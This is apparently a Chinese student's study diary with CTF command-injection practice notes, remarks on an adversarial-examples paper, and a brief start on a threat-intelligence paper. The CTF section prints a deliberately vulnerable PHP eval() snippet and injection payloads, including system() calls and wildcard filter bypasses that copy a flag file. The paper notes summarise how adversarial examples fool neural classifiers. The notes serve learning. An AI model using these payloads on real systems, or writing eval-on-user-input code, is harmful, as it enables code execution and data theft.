G1D11-CTF启程@命令执行29-30&课内论文&Automatic Mapping of Unstructured Cyber Threat Intelligence: An Experimen

----1522电脑到啦~~check完,先学习,有时间的时候再继续下软件

一、CTF

1、学习php漏洞

(1)开发环境搭建
先粗看了一遍课程,用了几个听过很多遍的工具,因为是二倍速,所以有些目的没听清,一会拿到新电脑,验完机后,可以自己实践一下!

2、刷题

(1)29

刚刚下载了Hackbar

#屏蔽错误
error_reporting(0);
if(isset($_GET['c'])){
#拿到c
    $c = $_GET['c'];
    #如果没有flag,则代码执行c
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

梳理一下可执行代码:
1、?c=phpinfo();
2、?c=system(‘ls’);
!!!别忘了;
3、因为过滤了关键字,所以不能用file_get_content()【我感觉也可以嘿嘿】,该用shell命令——
?c=system(‘cp fla?.php 1.txt’),因为过滤了flag,所以可以用占位符

4、顺便看下preg_match()函数

if(!preg_match("/flag/i", $c)){
        eval($c);
    } 

i代表大小写不敏感
G1D11-CTF启程@命令执行29-30&课内论文&Automatic Mapping of Unstructured Cyber Threat Intelligence: An Experimen_第1张图片
再做一道~

(2)30

这题不让用system了,这可怎么办嗯???
G1D11-CTF启程@命令执行29-30&课内论文&Automatic Mapping of Unstructured Cyber Threat Intelligence: An Experimen_第2张图片

1、用··反引号,在php中和system是相同的,试一下
2、但是不能·ls·,不管用emmm
3、试试Doraemon的方法~
(1)?c=print_r(scandir(‘.’));
(2)?c=echo(ls);
(3)?c=var_dump(ls);
我知道啦~··可以代替system(),直接用system的时候不用print,用··需要print。

二、课内文献阅读

再读一下论文,找一下问题~
找不到之前的问题了,以后日后问题要放在固定的地方留存,以防找不到。
那接下来花20分钟,再读一下!

(一)回忆输出

1、提出了两个神经网络的两个特性:(1)语义空间不在某一个unit上(2)可生成差异很小,但会让分类产生错误的对抗样本。以有理数和无理数举例,训练样本就像无理数,对抗样本就像有理数;训练的样本为无理数,所以模型只能有效识别无理数;虽然无理数和有理数很近,但是二者性质截然不同,放入有理数,模型会分类错误。
语义空间是什么?其对应英文是什么?
2、对抗样本生成方法
(1)扰动尽可能小
(2)分类错误
具体公式忘记了,需查看
3、实验设计
(1)最大激活某个神经单元和一组神经单元混合的图片,性质相同
(2)将根据某个模型生成的对抗样本,应用到其他超参数模型,或者其他数据集训练出的模型上,仍旧有效。
样本除了具有的跨模型适用性外,还具有什么适用性?

(二)需解决问题

1、语义信息是什么?其对应英文是什么?
semantic infomation,感觉就像提取出来的特征。
2、得知语义信息在整个空间中,对我们有什么帮助?

3、对抗样本生成具体公式忘记了,需查看
G1D11-CTF启程@命令执行29-30&课内论文&Automatic Mapping of Unstructured Cyber Threat Intelligence: An Experimen_第3张图片
在这里插入图片描述

4、样本除了具有的跨模型适用性外,还具有什么适用性?
跨训练集的适用性,使用另一份训练集(分布不同)训练出来的模型也会被骗。

5、有理数无理数的比喻是如何描述的?
在这里插入图片描述
6、对抗学习可以提高模型准确度?文中有提到吗?是如何解释的?

三、APT论文阅读

-----------2112
两个电脑不知道怎么分配,先继续读一下文献hh,不能拖ddl

(一)Automatic Mapping of Unstructured Cyber Threat

Intelligence: An Experimental Study
啊啊啊,一篇没读完,有点注意力不集中了。感觉这篇写的一般。

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